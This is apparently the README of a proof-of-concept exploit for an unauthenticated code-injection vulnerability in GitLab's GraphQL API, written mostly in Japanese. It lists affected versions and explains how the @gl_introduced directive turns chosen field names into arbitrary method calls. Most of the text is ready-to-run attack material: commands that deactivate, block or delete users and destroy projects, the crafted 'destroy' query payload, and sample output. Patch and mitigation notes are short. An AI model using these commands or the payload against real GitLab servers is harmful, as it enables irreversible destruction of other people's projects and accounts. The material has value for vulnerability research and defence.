
GitLabのGraphQL APIにおける未認証リモートコードインジェクションの概念実証エクスプロイト。細工されたクエリを使用して、公開プロジェクトやユーザーを変更・削除します。
| 重大度 | 9.4 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H |
| CWE | CWE-94(コード生成の不適切な制御/コードインジェクション) |
| 影響を受けるバージョン | GitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4 |
| 修正バージョン | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| 開示日 | 2026-08-17 |
| HackerOne | 3926431 |
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project
# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
このエクスプロイトはフォールバックフィールドのコードインジェクションです。GraphQL クエリ内の攻撃者が選択したフィールド名が、基盤となる ActiveRecord モデル(Project、User など)に対する任意の public_send 呼び出しに変換されます。フォールバックフィールドは、クエリが「将来の」@gl_introduced ディレクティブも持っている場合にのみ作成されるため、このディレクティブがインジェクションのプリミティブとなります。
| シリーズ | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
| 18.x | >= 18.2, < 18.11.11 | 18.11.11 |
| 19.0 | < 19.0.8 | 19.0.8 |
| 19.1 | < 19.1.6 | 19.1.6 |
| 19.2 | < 19.2.4 | 19.2.4 |
このスクリプトはベストエフォートでバージョン検出(トークンを使用した /api/v4/version、/help、/users/sign_in)を実行し、対象が影響を受ける範囲に該当するかどうかを報告します。
touch ペイロードを送信します。脆弱なインスタンスは "touch": true を返し、修正済みインスタンスは Field 'touch' doesn't exist on type 'Project' を返します。/api/graphql イントロスペクション)内に gl_introduced ディレクティブを公開します。修正済みインスタンスでも公開される場合があるため、動作チェックが決定的です。python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
[--mode check|modify|destroy|delete|custom]
[--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
| オプション | 説明 |
|---|---|
--url | GitLab のベース URL(例: https://gitlab.example.com) |
--project | 公開プロジェクトのフルパス(例: group/subgroup/project) |
--user | 公開ユーザーのユーザー名(例: alice) |
--mode | check(デフォルト、無害な touch) · modify(ユーザー: deactivate、プロジェクト: touch) · destroy · delete · custom |
--method | --mode custom で使用するメソッド名(有効な GraphQL 名である必要があります) |
--token | 任意の GitLab PRIVATE-TOKEN(バージョン検出/認証用) |
--version | 検出をスキップしてバージョン文字列を強制指定 |
--insecure | TLS 証明書の検証を無効化 |
破壊的モード(modify、destroy、delete)では、対話的な yes の確認が必要です。
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project
# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block
# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm
# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate
# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete
# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
--mode custom --method reload
# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
--token <PRIVATE-TOKEN> --insecure
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
project(fullPath: "group/public-project") {
name
destroy @gl_introduced(version: "999.0.0")
}
}
[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).
修正済みインスタンスの応答は通常の GraphQL バリデーションエラーです:
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }
[!] Parent object is null -> project/user not found or not visible.
(For projects, use the full path, e.g. group/subgroup/project)
対象は公開(プロジェクトの可視性が Public、またはプロフィールが GraphQL 経由で公開解決可能なユーザー)である必要があります。親オブジェクトが null の場合、メソッドは呼び出されません。
/api/graphql へのネットワークアクセスを制限するか、不要な場合は @gl_introduced バージョンフィルタ機能を無効にしてください。e283c6ad "Prevent calling object method when resolving fallback field"この PoC は、防御的なセキュリティ研究および許可を得たテストのみを目的として提供されています。 所有していないシステムや、明示的なテスト許可がないシステムに対して実行しないでください。